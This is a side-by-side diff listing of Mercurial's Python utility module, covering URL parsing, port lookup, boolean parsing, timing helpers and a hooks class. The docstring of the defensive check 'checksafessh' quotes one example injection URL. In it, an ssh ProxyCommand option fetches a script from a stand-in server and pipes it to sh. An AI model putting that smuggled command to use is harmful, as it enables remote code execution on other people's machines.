2555 prevhandler = None
2567 prevhandler = None
2556 SIGCHLD = getattr(signal, 'SIGCHLD', None)
2568 SIGCHLD = getattr(signal, 'SIGCHLD', None)
2557 if SIGCHLD is not None:
2569 if SIGCHLD is not None:
2558 prevhandler = signal.signal(SIGCHLD, handler)
2570 prevhandler = signal.signal(SIGCHLD, handler)
2559 try:
2571 try:
2560 pid = spawndetached(args)
2572 pid = spawndetached(args)
2561 while not condfn():
2573 while not condfn():
2562 if ((pid in terminated or not testpid(pid))
2574 if ((pid in terminated or not testpid(pid))
2563 and not condfn()):
2575 and not condfn()):
2564 return -1
2576 return -1
2565 time.sleep(0.1)
2577 time.sleep(0.1)
2566 return pid
2578 return pid
2567 finally:
2579 finally:
2568 if prevhandler is not None:
2580 if prevhandler is not None:
2569 signal.signal(signal.SIGCHLD, prevhandler)
2581 signal.signal(signal.SIGCHLD, prevhandler)
2570
2582
2571 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
2583 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
2572 """Return the result of interpolating items in the mapping into string s.
2584 """Return the result of interpolating items in the mapping into string s.
2573
2585
2574 prefix is a single character string, or a two character string with
2586 prefix is a single character string, or a two character string with
2575 a backslash as the first character if the prefix needs to be escaped in
2587 a backslash as the first character if the prefix needs to be escaped in
2576 a regular expression.
2588 a regular expression.
2577
2589
2578 fn is an optional function that will be applied to the replacement text
2590 fn is an optional function that will be applied to the replacement text
2579 just before replacement.
2591 just before replacement.
2580
2592
2581 escape_prefix is an optional flag that allows using doubled prefix for
2593 escape_prefix is an optional flag that allows using doubled prefix for
2582 its escaping.
2594 its escaping.
2583 """
2595 """
2584 fn = fn or (lambda s: s)
2596 fn = fn or (lambda s: s)
2585 patterns = '|'.join(mapping.keys())
2597 patterns = '|'.join(mapping.keys())
2586 if escape_prefix:
2598 if escape_prefix:
2587 patterns += '|' + prefix
2599 patterns += '|' + prefix
2588 if len(prefix) > 1:
2600 if len(prefix) > 1:
2589 prefix_char = prefix[1:]
2601 prefix_char = prefix[1:]
2590 else:
2602 else:
2591 prefix_char = prefix
2603 prefix_char = prefix
2592 mapping[prefix_char] = prefix_char
2604 mapping[prefix_char] = prefix_char
2593 r = remod.compile(r'%s(%s)' % (prefix, patterns))
2605 r = remod.compile(r'%s(%s)' % (prefix, patterns))
2594 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
2606 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
2595
2607
2596 def getport(port):
2608 def getport(port):
2597 """Return the port for a given network service.
2609 """Return the port for a given network service.
2598
2610
2599 If port is an integer, it's returned as is. If it's a string, it's
2611 If port is an integer, it's returned as is. If it's a string, it's
2600 looked up using socket.getservbyname(). If there's no matching
2612 looked up using socket.getservbyname(). If there's no matching
2601 service, error.Abort is raised.
2613 service, error.Abort is raised.
2602 """
2614 """
2603 try:
2615 try:
2604 return int(port)
2616 return int(port)
2605 except ValueError:
2617 except ValueError:
2606 pass
2618 pass
2607
2619
2608 try:
2620 try:
2609 return socket.getservbyname(port)
2621 return socket.getservbyname(port)
2610 except socket.error:
2622 except socket.error:
2611 raise Abort(_("no port number associated with service '%s'") % port)
2623 raise Abort(_("no port number associated with service '%s'") % port)
2612
2624
2613 _booleans = {'1': True, 'yes': True, 'true': True, 'on': True, 'always': True,
2625 _booleans = {'1': True, 'yes': True, 'true': True, 'on': True, 'always': True,
2614 '0': False, 'no': False, 'false': False, 'off': False,
2626 '0': False, 'no': False, 'false': False, 'off': False,
2615 'never': False}
2627 'never': False}
2616
2628
2617 def parsebool(s):
2629 def parsebool(s):
2618 """Parse s into a boolean.
2630 """Parse s into a boolean.
2619
2631
2620 If s is not a valid boolean, returns None.
2632 If s is not a valid boolean, returns None.
2621 """
2633 """
2622 return _booleans.get(s.lower(), None)
2634 return _booleans.get(s.lower(), None)
2623
2635
2624 _hextochr = dict((a + b, chr(int(a + b, 16)))
2636 _hextochr = dict((a + b, chr(int(a + b, 16)))
2625 for a in string.hexdigits for b in string.hexdigits)
2637 for a in string.hexdigits for b in string.hexdigits)
2626
2638
2627 class url(object):
2639 class url(object):
2628 r"""Reliable URL parser.
2640 r"""Reliable URL parser.
2629
2641
2630 This parses URLs and provides attributes for the following
2642 This parses URLs and provides attributes for the following
2631 components:
2643 components:
2632
2644
2633 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
2645 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
2634
2646
2635 Missing components are set to None. The only exception is
2647 Missing components are set to None. The only exception is
2636 fragment, which is set to '' if present but empty.
2648 fragment, which is set to '' if present but empty.
2637
2649
2638 If parsefragment is False, fragment is included in query. If
2650 If parsefragment is False, fragment is included in query. If
2639 parsequery is False, query is included in path. If both are
2651 parsequery is False, query is included in path. If both are
2640 False, both fragment and query are included in path.
2652 False, both fragment and query are included in path.
2641
2653
2642 See http://www.ietf.org/rfc/rfc2396.txt for more information.
2654 See http://www.ietf.org/rfc/rfc2396.txt for more information.
2643
2655
2644 Note that for backward compatibility reasons, bundle URLs do not
2656 Note that for backward compatibility reasons, bundle URLs do not
2645 take host names. That means 'bundle://../' has a path of '../'.
2657 take host names. That means 'bundle://../' has a path of '../'.
2646
2658
2647 Examples:
2659 Examples:
2648
2660
2649 >>> url('http://www.ietf.org/rfc/rfc2396.txt')
2661 >>> url('http://www.ietf.org/rfc/rfc2396.txt')
2650 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
2662 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
2651 >>> url('ssh://[::1]:2200//home/joe/repo')
2663 >>> url('ssh://[::1]:2200//home/joe/repo')
2652 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
2664 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
2653 >>> url('file:///home/joe/repo')
2665 >>> url('file:///home/joe/repo')
2654 <url scheme: 'file', path: '/home/joe/repo'>
2666 <url scheme: 'file', path: '/home/joe/repo'>
2655 >>> url('file:///c:/temp/foo/')
2667 >>> url('file:///c:/temp/foo/')
2656 <url scheme: 'file', path: 'c:/temp/foo/'>
2668 <url scheme: 'file', path: 'c:/temp/foo/'>
2657 >>> url('bundle:foo')
2669 >>> url('bundle:foo')
2658 <url scheme: 'bundle', path: 'foo'>
2670 <url scheme: 'bundle', path: 'foo'>
2659 >>> url('bundle://../foo')
2671 >>> url('bundle://../foo')
2660 <url scheme: 'bundle', path: '../foo'>
2672 <url scheme: 'bundle', path: '../foo'>
2661 >>> url(r'c:\foo\bar')
2673 >>> url(r'c:\foo\bar')
2662 <url path: 'c:\\foo\\bar'>
2674 <url path: 'c:\\foo\\bar'>
2663 >>> url(r'\\blah\blah\blah')
2675 >>> url(r'\\blah\blah\blah')
2664 <url path: '\\\\blah\\blah\\blah'>
2676 <url path: '\\\\blah\\blah\\blah'>
2665 >>> url(r'\\blah\blah\blah#baz')
2677 >>> url(r'\\blah\blah\blah#baz')
2666 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
2678 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
2667 >>> url(r'file:///C:\users\me')
2679 >>> url(r'file:///C:\users\me')
2668 <url scheme: 'file', path: 'C:\\users\\me'>
2680 <url scheme: 'file', path: 'C:\\users\\me'>
2669
2681
2670 Authentication credentials:
2682 Authentication credentials:
2671
2683
2672 >>> url('ssh://joe:xyz@x/repo')
2684 >>> url('ssh://joe:xyz@x/repo')
2673 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
2685 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
2674 >>> url('ssh://joe@x/repo')
2686 >>> url('ssh://joe@x/repo')
2675 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
2687 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
2676
2688
2677 Query strings and fragments:
2689 Query strings and fragments:
2678
2690
2679 >>> url('http://host/a?b#c')
2691 >>> url('http://host/a?b#c')
2680 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
2692 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
2681 >>> url('http://host/a?b#c', parsequery=False, parsefragment=False)
2693 >>> url('http://host/a?b#c', parsequery=False, parsefragment=False)
2682 <url scheme: 'http', host: 'host', path: 'a?b#c'>
2694 <url scheme: 'http', host: 'host', path: 'a?b#c'>
2683
2695
2684 Empty path:
2696 Empty path:
2685
2697
2686 >>> url('')
2698 >>> url('')
2687 <url path: ''>
2699 <url path: ''>
2688 >>> url('#a')
2700 >>> url('#a')
2689 <url path: '', fragment: 'a'>
2701 <url path: '', fragment: 'a'>
2690 >>> url('http://host/')
2702 >>> url('http://host/')
2691 <url scheme: 'http', host: 'host', path: ''>
2703 <url scheme: 'http', host: 'host', path: ''>
2692 >>> url('http://host/#a')
2704 >>> url('http://host/#a')
2693 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
2705 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
2694
2706
2695 Only scheme:
2707 Only scheme:
2696
2708
2697 >>> url('http:')
2709 >>> url('http:')
2698 <url scheme: 'http'>
2710 <url scheme: 'http'>
2699 """
2711 """
2700
2712
2701 _safechars = "!~*'()+"
2713 _safechars = "!~*'()+"
2702 _safepchars = "/!~*'()+:\\"
2714 _safepchars = "/!~*'()+:\\"
2703 _matchscheme = remod.compile('^[a-zA-Z0-9+.\\-]+:').match
2715 _matchscheme = remod.compile('^[a-zA-Z0-9+.\\-]+:').match
2704
2716
2705 def __init__(self, path, parsequery=True, parsefragment=True):
2717 def __init__(self, path, parsequery=True, parsefragment=True):
2706 # We slowly chomp away at path until we have only the path left
2718 # We slowly chomp away at path until we have only the path left
2707 self.scheme = self.user = self.passwd = self.host = None
2719 self.scheme = self.user = self.passwd = self.host = None
2708 self.port = self.path = self.query = self.fragment = None
2720 self.port = self.path = self.query = self.fragment = None
2709 self._localpath = True
2721 self._localpath = True
2710 self._hostport = ''
2722 self._hostport = ''
2711 self._origpath = path
2723 self._origpath = path
2712
2724
2713 if parsefragment and '#' in path:
2725 if parsefragment and '#' in path:
2714 path, self.fragment = path.split('#', 1)
2726 path, self.fragment = path.split('#', 1)
2715
2727
2716 # special case for Windows drive letters and UNC paths
2728 # special case for Windows drive letters and UNC paths
2717 if hasdriveletter(path) or path.startswith('\\\\'):
2729 if hasdriveletter(path) or path.startswith('\\\\'):
2718 self.path = path
2730 self.path = path
2719 return
2731 return
2720
2732
2721 # For compatibility reasons, we can't handle bundle paths as
2733 # For compatibility reasons, we can't handle bundle paths as
2722 # normal URLS
2734 # normal URLS
2723 if path.startswith('bundle:'):
2735 if path.startswith('bundle:'):
2724 self.scheme = 'bundle'
2736 self.scheme = 'bundle'
2725 path = path[7:]
2737 path = path[7:]
2726 if path.startswith('//'):
2738 if path.startswith('//'):
2727 path = path[2:]
2739 path = path[2:]
2728 self.path = path
2740 self.path = path
2729 return
2741 return
2730
2742
2731 if self._matchscheme(path):
2743 if self._matchscheme(path):
2732 parts = path.split(':', 1)
2744 parts = path.split(':', 1)
2733 if parts[0]:
2745 if parts[0]:
2734 self.scheme, path = parts
2746 self.scheme, path = parts
2735 self._localpath = False
2747 self._localpath = False
2736
2748
2737 if not path:
2749 if not path:
2738 path = None
2750 path = None
2739 if self._localpath:
2751 if self._localpath:
2740 self.path = ''
2752 self.path = ''
2741 return
2753 return
2742 else:
2754 else:
2743 if self._localpath:
2755 if self._localpath:
2744 self.path = path
2756 self.path = path
2745 return
2757 return
2746
2758
2747 if parsequery and '?' in path:
2759 if parsequery and '?' in path:
2748 path, self.query = path.split('?', 1)
2760 path, self.query = path.split('?', 1)
2749 if not path:
2761 if not path:
2750 path = None
2762 path = None
2751 if not self.query:
2763 if not self.query:
2752 self.query = None
2764 self.query = None
2753
2765
2754 # // is required to specify a host/authority
2766 # // is required to specify a host/authority
2755 if path and path.startswith('//'):
2767 if path and path.startswith('//'):
2756 parts = path[2:].split('/', 1)
2768 parts = path[2:].split('/', 1)
2757 if len(parts) > 1:
2769 if len(parts) > 1:
2758 self.host, path = parts
2770 self.host, path = parts
2759 else:
2771 else:
2760 self.host = parts[0]
2772 self.host = parts[0]
2761 path = None
2773 path = None
2762 if not self.host:
2774 if not self.host:
2763 self.host = None
2775 self.host = None
2764 # path of file:///d is /d
2776 # path of file:///d is /d
2765 # path of file:///d:/ is d:/, not /d:/
2777 # path of file:///d:/ is d:/, not /d:/
2766 if path and not hasdriveletter(path):
2778 if path and not hasdriveletter(path):
2767 path = '/' + path
2779 path = '/' + path
2768
2780
2769 if self.host and '@' in self.host:
2781 if self.host and '@' in self.host:
2770 self.user, self.host = self.host.rsplit('@', 1)
2782 self.user, self.host = self.host.rsplit('@', 1)
2771 if ':' in self.user:
2783 if ':' in self.user:
2772 self.user, self.passwd = self.user.split(':', 1)
2784 self.user, self.passwd = self.user.split(':', 1)
2773 if not self.host:
2785 if not self.host:
2774 self.host = None
2786 self.host = None
2775
2787
2776 # Don't split on colons in IPv6 addresses without ports
2788 # Don't split on colons in IPv6 addresses without ports
2777 if (self.host and ':' in self.host and
2789 if (self.host and ':' in self.host and
2778 not (self.host.startswith('[') and self.host.endswith(']'))):
2790 not (self.host.startswith('[') and self.host.endswith(']'))):
2779 self._hostport = self.host
2791 self._hostport = self.host
2780 self.host, self.port = self.host.rsplit(':', 1)
2792 self.host, self.port = self.host.rsplit(':', 1)
2781 if not self.host:
2793 if not self.host:
2782 self.host = None
2794 self.host = None
2783
2795
2784 if (self.host and self.scheme == 'file' and
2796 if (self.host and self.scheme == 'file' and
2785 self.host not in ('localhost', '127.0.0.1', '[::1]')):
2797 self.host not in ('localhost', '127.0.0.1', '[::1]')):
2786 raise Abort(_('file:// URLs can only refer to localhost'))
2798 raise Abort(_('file:// URLs can only refer to localhost'))
2787
2799
2788 self.path = path
2800 self.path = path
2789
2801
2790 # leave the query string escaped
2802 # leave the query string escaped
2791 for a in ('user', 'passwd', 'host', 'port',
2803 for a in ('user', 'passwd', 'host', 'port',
2792 'path', 'fragment'):
2804 'path', 'fragment'):
2793 v = getattr(self, a)
2805 v = getattr(self, a)
2794 if v is not None:
2806 if v is not None:
2795 setattr(self, a, urlreq.unquote(v))
2807 setattr(self, a, urlreq.unquote(v))
2796
2808
2797 def __repr__(self):
2809 def __repr__(self):
2798 attrs = []
2810 attrs = []
2799 for a in ('scheme', 'user', 'passwd', 'host', 'port', 'path',
2811 for a in ('scheme', 'user', 'passwd', 'host', 'port', 'path',
2800 'query', 'fragment'):
2812 'query', 'fragment'):
2801 v = getattr(self, a)
2813 v = getattr(self, a)
2802 if v is not None:
2814 if v is not None:
2803 attrs.append('%s: %r' % (a, v))
2815 attrs.append('%s: %r' % (a, v))
2804 return '<url %s>' % ', '.join(attrs)
2816 return '<url %s>' % ', '.join(attrs)
2805
2817
2806 def __bytes__(self):
2818 def __bytes__(self):
2807 r"""Join the URL's components back into a URL string.
2819 r"""Join the URL's components back into a URL string.
2808
2820
2809 Examples:
2821 Examples:
2810
2822
2811 >>> str(url('http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
2823 >>> str(url('http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
2812 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
2824 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
2813 >>> str(url('http://user:pw@host:80/?foo=bar&baz=42'))
2825 >>> str(url('http://user:pw@host:80/?foo=bar&baz=42'))
2814 'http://user:pw@host:80/?foo=bar&baz=42'
2826 'http://user:pw@host:80/?foo=bar&baz=42'
2815 >>> str(url('http://user:pw@host:80/?foo=bar%3dbaz'))
2827 >>> str(url('http://user:pw@host:80/?foo=bar%3dbaz'))
2816 'http://user:pw@host:80/?foo=bar%3dbaz'
2828 'http://user:pw@host:80/?foo=bar%3dbaz'
2817 >>> str(url('ssh://user:pw@[::1]:2200//home/joe#'))
2829 >>> str(url('ssh://user:pw@[::1]:2200//home/joe#'))
2818 'ssh://user:pw@[::1]:2200//home/joe#'
2830 'ssh://user:pw@[::1]:2200//home/joe#'
2819 >>> str(url('http://localhost:80//'))
2831 >>> str(url('http://localhost:80//'))
2820 'http://localhost:80//'
2832 'http://localhost:80//'
2821 >>> str(url('http://localhost:80/'))
2833 >>> str(url('http://localhost:80/'))
2822 'http://localhost:80/'
2834 'http://localhost:80/'
2823 >>> str(url('http://localhost:80'))
2835 >>> str(url('http://localhost:80'))
2824 'http://localhost:80/'
2836 'http://localhost:80/'
2825 >>> str(url('bundle:foo'))
2837 >>> str(url('bundle:foo'))
2826 'bundle:foo'
2838 'bundle:foo'
2827 >>> str(url('bundle://../foo'))
2839 >>> str(url('bundle://../foo'))
2828 'bundle:../foo'
2840 'bundle:../foo'
2829 >>> str(url('path'))
2841 >>> str(url('path'))
2830 'path'
2842 'path'
2831 >>> str(url('file:///tmp/foo/bar'))
2843 >>> str(url('file:///tmp/foo/bar'))
2832 'file:///tmp/foo/bar'
2844 'file:///tmp/foo/bar'
2833 >>> str(url('file:///c:/tmp/foo/bar'))
2845 >>> str(url('file:///c:/tmp/foo/bar'))
2834 'file:///c:/tmp/foo/bar'
2846 'file:///c:/tmp/foo/bar'
2835 >>> print url(r'bundle:foo\bar')
2847 >>> print url(r'bundle:foo\bar')
2836 bundle:foo\bar
2848 bundle:foo\bar
2837 >>> print url(r'file:///D:\data\hg')
2849 >>> print url(r'file:///D:\data\hg')
2838 file:///D:\data\hg
2850 file:///D:\data\hg
2839 """
2851 """
2840 if self._localpath:
2852 if self._localpath:
2841 s = self.path
2853 s = self.path
2842 if self.scheme == 'bundle':
2854 if self.scheme == 'bundle':
2843 s = 'bundle:' + s
2855 s = 'bundle:' + s
2844 if self.fragment:
2856 if self.fragment:
2845 s += '#' + self.fragment
2857 s += '#' + self.fragment
2846 return s
2858 return s
2847
2859
2848 s = self.scheme + ':'
2860 s = self.scheme + ':'
2849 if self.user or self.passwd or self.host:
2861 if self.user or self.passwd or self.host:
2850 s += '//'
2862 s += '//'
2851 elif self.scheme and (not self.path or self.path.startswith('/')
2863 elif self.scheme and (not self.path or self.path.startswith('/')
2852 or hasdriveletter(self.path)):
2864 or hasdriveletter(self.path)):
2853 s += '//'
2865 s += '//'
2854 if hasdriveletter(self.path):
2866 if hasdriveletter(self.path):
2855 s += '/'
2867 s += '/'
2856 if self.user:
2868 if self.user:
2857 s += urlreq.quote(self.user, safe=self._safechars)
2869 s += urlreq.quote(self.user, safe=self._safechars)
2858 if self.passwd:
2870 if self.passwd:
2859 s += ':' + urlreq.quote(self.passwd, safe=self._safechars)
2871 s += ':' + urlreq.quote(self.passwd, safe=self._safechars)
2860 if self.user or self.passwd:
2872 if self.user or self.passwd:
2861 s += '@'
2873 s += '@'
2862 if self.host:
2874 if self.host:
2863 if not (self.host.startswith('[') and self.host.endswith(']')):
2875 if not (self.host.startswith('[') and self.host.endswith(']')):
2864 s += urlreq.quote(self.host)
2876 s += urlreq.quote(self.host)
2865 else:
2877 else:
2866 s += self.host
2878 s += self.host
2867 if self.port:
2879 if self.port:
2868 s += ':' + urlreq.quote(self.port)
2880 s += ':' + urlreq.quote(self.port)
2869 if self.host:
2881 if self.host:
2870 s += '/'
2882 s += '/'
2871 if self.path:
2883 if self.path:
2872 # TODO: similar to the query string, we should not unescape the
2884 # TODO: similar to the query string, we should not unescape the
2873 # path when we store it, the path might contain '%2f' = '/',
2885 # path when we store it, the path might contain '%2f' = '/',
2874 # which we should *not* escape.
2886 # which we should *not* escape.
2875 s += urlreq.quote(self.path, safe=self._safepchars)
2887 s += urlreq.quote(self.path, safe=self._safepchars)
2876 if self.query:
2888 if self.query:
2877 # we store the query in escaped form.
2889 # we store the query in escaped form.
2878 s += '?' + self.query
2890 s += '?' + self.query
2879 if self.fragment is not None:
2891 if self.fragment is not None:
2880 s += '#' + urlreq.quote(self.fragment, safe=self._safepchars)
2892 s += '#' + urlreq.quote(self.fragment, safe=self._safepchars)
2881 return s
2893 return s
2882
2894
2883 __str__ = encoding.strmethod(__bytes__)
2895 __str__ = encoding.strmethod(__bytes__)
2884
2896
2885 def authinfo(self):
2897 def authinfo(self):
2886 user, passwd = self.user, self.passwd
2898 user, passwd = self.user, self.passwd
2887 try:
2899 try:
2888 self.user, self.passwd = None, None
2900 self.user, self.passwd = None, None
2889 s = bytes(self)
2901 s = bytes(self)
2890 finally:
2902 finally:
2891 self.user, self.passwd = user, passwd
2903 self.user, self.passwd = user, passwd
2892 if not self.user:
2904 if not self.user:
2893 return (s, None)
2905 return (s, None)
2894 # authinfo[1] is passed to urllib2 password manager, and its
2906 # authinfo[1] is passed to urllib2 password manager, and its
2895 # URIs must not contain credentials. The host is passed in the
2907 # URIs must not contain credentials. The host is passed in the
2896 # URIs list because Python < 2.4.3 uses only that to search for
2908 # URIs list because Python < 2.4.3 uses only that to search for
2897 # a password.
2909 # a password.
2898 return (s, (None, (s, self.host),
2910 return (s, (None, (s, self.host),
2899 self.user, self.passwd or ''))
2911 self.user, self.passwd or ''))
2900
2912
2901 def isabs(self):
2913 def isabs(self):
2902 if self.scheme and self.scheme != 'file':
2914 if self.scheme and self.scheme != 'file':
2903 return True # remote URL
2915 return True # remote URL
2904 if hasdriveletter(self.path):
2916 if hasdriveletter(self.path):
2905 return True # absolute for our purposes - can't be joined()
2917 return True # absolute for our purposes - can't be joined()
2906 if self.path.startswith(br'\\'):
2918 if self.path.startswith(br'\\'):
2907 return True # Windows UNC path
2919 return True # Windows UNC path
2908 if self.path.startswith('/'):
2920 if self.path.startswith('/'):
2909 return True # POSIX-style
2921 return True # POSIX-style
2910 return False
2922 return False
2911
2923
2912 def localpath(self):
2924 def localpath(self):
2913 if self.scheme == 'file' or self.scheme == 'bundle':
2925 if self.scheme == 'file' or self.scheme == 'bundle':
2914 path = self.path or '/'
2926 path = self.path or '/'
2915 # For Windows, we need to promote hosts containing drive
2927 # For Windows, we need to promote hosts containing drive
2916 # letters to paths with drive letters.
2928 # letters to paths with drive letters.
2917 if hasdriveletter(self._hostport):
2929 if hasdriveletter(self._hostport):
2918 path = self._hostport + '/' + self.path
2930 path = self._hostport + '/' + self.path
2919 elif (self.host is not None and self.path
2931 elif (self.host is not None and self.path
2920 and not hasdriveletter(path)):
2932 and not hasdriveletter(path)):
2921 path = '/' + path
2933 path = '/' + path
2922 return path
2934 return path
2923 return self._origpath
2935 return self._origpath
2924
2936
2925 def islocal(self):
2937 def islocal(self):
2926 '''whether localpath will return something that posixfile can open'''
2938 '''whether localpath will return something that posixfile can open'''
2927 return (not self.scheme or self.scheme == 'file'
2939 return (not self.scheme or self.scheme == 'file'
2928 or self.scheme == 'bundle')
2940 or self.scheme == 'bundle')
2929
2941
2930 def hasscheme(path):
2942 def hasscheme(path):
2931 return bool(url(path).scheme)
2943 return bool(url(path).scheme)
2932
2944
2933 def hasdriveletter(path):
2945 def hasdriveletter(path):
2934 return path and path[1:2] == ':' and path[0:1].isalpha()
2946 return path and path[1:2] == ':' and path[0:1].isalpha()
2935
2947
2936 def urllocalpath(path):
2948 def urllocalpath(path):
2937 return url(path, parsequery=False, parsefragment=False).localpath()
2949 return url(path, parsequery=False, parsefragment=False).localpath()
2938
2950
2939 def checksafessh(path):
2951 def checksafessh(path):
2940 """check if a path / url is a potentially unsafe ssh exploit (SEC)
2952 """check if a path / url is a potentially unsafe ssh exploit (SEC)
2941
2953
2942 This is a sanity check for ssh urls. ssh will parse the first item as
2954 This is a sanity check for ssh urls. ssh will parse the first item as
2943 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
2955 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
2944 Let's prevent these potentially exploited urls entirely and warn the
2956 Let's prevent these potentially exploited urls entirely and warn the
2945 user.
2957 user.
2946
2958
2947 Raises an error.Abort when the url is unsafe.
2959 Raises an error.Abort when the url is unsafe.
2948 """
2960 """
2949 path = urlreq.unquote(path)
2961 path = urlreq.unquote(path)
2950 if path.startswith('ssh://-') or path.startswith('svn+ssh://-'):
2962 if path.startswith('ssh://-') or path.startswith('svn+ssh://-'):
2951 raise error.Abort(_('potentially unsafe url: %r') %
2963 raise error.Abort(_('potentially unsafe url: %r') %
2952 (path,))
2964 (path,))
2953
2965
2954 def hidepassword(u):
2966 def hidepassword(u):
2955 '''hide user credential in a url string'''
2967 '''hide user credential in a url string'''
2956 u = url(u)
2968 u = url(u)
2957 if u.passwd:
2969 if u.passwd:
2958 u.passwd = '***'
2970 u.passwd = '***'
2959 return bytes(u)
2971 return bytes(u)
2960
2972
2961 def removeauth(u):
2973 def removeauth(u):
2962 '''remove all authentication information from a url string'''
2974 '''remove all authentication information from a url string'''
2963 u = url(u)
2975 u = url(u)
2964 u.user = u.passwd = None
2976 u.user = u.passwd = None
2965 return str(u)
2977 return str(u)
2966
2978
2967 timecount = unitcountfn(
2979 timecount = unitcountfn(
2968 (1, 1e3, _('%.0f s')),
2980 (1, 1e3, _('%.0f s')),
2969 (100, 1, _('%.1f s')),
2981 (100, 1, _('%.1f s')),
2970 (10, 1, _('%.2f s')),
2982 (10, 1, _('%.2f s')),
2971 (1, 1, _('%.3f s')),
2983 (1, 1, _('%.3f s')),
2972 (100, 0.001, _('%.1f ms')),
2984 (100, 0.001, _('%.1f ms')),
2973 (10, 0.001, _('%.2f ms')),
2985 (10, 0.001, _('%.2f ms')),
2974 (1, 0.001, _('%.3f ms')),
2986 (1, 0.001, _('%.3f ms')),
2975 (100, 0.000001, _('%.1f us')),
2987 (100, 0.000001, _('%.1f us')),
2976 (10, 0.000001, _('%.2f us')),
2988 (10, 0.000001, _('%.2f us')),
2977 (1, 0.000001, _('%.3f us')),
2989 (1, 0.000001, _('%.3f us')),
2978 (100, 0.000000001, _('%.1f ns')),
2990 (100, 0.000000001, _('%.1f ns')),
2979 (10, 0.000000001, _('%.2f ns')),
2991 (10, 0.000000001, _('%.2f ns')),
2980 (1, 0.000000001, _('%.3f ns')),
2992 (1, 0.000000001, _('%.3f ns')),
2981 )
2993 )
2982
2994
2983 _timenesting = [0]
2995 _timenesting = [0]
2984
2996
2985 def timed(func):
2997 def timed(func):
2986 '''Report the execution time of a function call to stderr.
2998 '''Report the execution time of a function call to stderr.
2987
2999
2988 During development, use as a decorator when you need to measure
3000 During development, use as a decorator when you need to measure
2989 the cost of a function, e.g. as follows:
3001 the cost of a function, e.g. as follows:
2990
3002
2991 @util.timed
3003 @util.timed
2992 def foo(a, b, c):
3004 def foo(a, b, c):
2993 pass
3005 pass
2994 '''
3006 '''
2995
3007
2996 def wrapper(*args, **kwargs):
3008 def wrapper(*args, **kwargs):
2997 start = timer()
3009 start = timer()
2998 indent = 2
3010 indent = 2
2999 _timenesting[0] += indent
3011 _timenesting[0] += indent
3000 try:
3012 try:
3001 return func(*args, **kwargs)
3013 return func(*args, **kwargs)
3002 finally:
3014 finally:
3003 elapsed = timer() - start
3015 elapsed = timer() - start
3004 _timenesting[0] -= indent
3016 _timenesting[0] -= indent
3005 stderr.write('%s%s: %s\n' %
3017 stderr.write('%s%s: %s\n' %
3006 (' ' * _timenesting[0], func.__name__,
3018 (' ' * _timenesting[0], func.__name__,
3007 timecount(elapsed)))
3019 timecount(elapsed)))
3008 return wrapper
3020 return wrapper
3009
3021
3010 _sizeunits = (('m', 2**20), ('k', 2**10), ('g', 2**30),
3022 _sizeunits = (('m', 2**20), ('k', 2**10), ('g', 2**30),
3011 ('kb', 2**10), ('mb', 2**20), ('gb', 2**30), ('b', 1))
3023 ('kb', 2**10), ('mb', 2**20), ('gb', 2**30), ('b', 1))
3012
3024
3013 def sizetoint(s):
3025 def sizetoint(s):
3014 '''Convert a space specifier to a byte count.
3026 '''Convert a space specifier to a byte count.
3015
3027
3016 >>> sizetoint('30')
3028 >>> sizetoint('30')
3017 30
3029 30
3018 >>> sizetoint('2.2kb')
3030 >>> sizetoint('2.2kb')
3019 2252
3031 2252
3020 >>> sizetoint('6M')
3032 >>> sizetoint('6M')
3021 6291456
3033 6291456
3022 '''
3034 '''
3023 t = s.strip().lower()
3035 t = s.strip().lower()
3024 try:
3036 try:
3025 for k, u in _sizeunits:
3037 for k, u in _sizeunits:
3026 if t.endswith(k):
3038 if t.endswith(k):
3027 return int(float(t[:-len(k)]) * u)
3039 return int(float(t[:-len(k)]) * u)
3028 return int(t)
3040 return int(t)
3029 except ValueError:
3041 except ValueError:
3030 raise error.ParseError(_("couldn't parse size: %s") % s)
3042 raise error.ParseError(_("couldn't parse size: %s") % s)
3031
3043
3032 class hooks(object):
3044 class hooks(object):
3033 '''A collection of hook functions that can be used to extend a
3045 '''A collection of hook functions that can be used to extend a
3034 function's behavior. Hooks are called in lexicographic order,
3046 function's behavior. Hooks are called in lexicographic order,
3035 based on the names of their sources.'''
3047 based on the names of their sources.'''
3036
3048
3037 def __init__(self):
3049 def __init__(self):
3038 self._hooks = []
3050 self._hooks = []
3039
3051
3040 def add(self, source, hook):
3052 def add(self, source, hook):
3041 self._hooks.append((source, hook))
3053 self._hooks.append((source, hook))
3042
3054
3043 def __call__(self, *args):
3055 def __call__(self, *args):
3044 self._hooks.sort(key=lambda x: x[0])
3056 self._hooks.sort(key=lambda x: x[0])
3045 results = []
3057 results = []
3046 for source, hook in self._hooks:
3058 for source, hook in self._hooks:
3047 results.append(hook(*args))
3059 results.append(hook(*args))
3048 return results
3060 return results
3049
3061
3050 def getstackframes(skip=0, line=' %-*s in %s\n', fileline='%s:%s', depth=0):
3062 def getstackframes(skip=0, line=' %-*s in %s\n', fileline='%s:%s', depth=0):
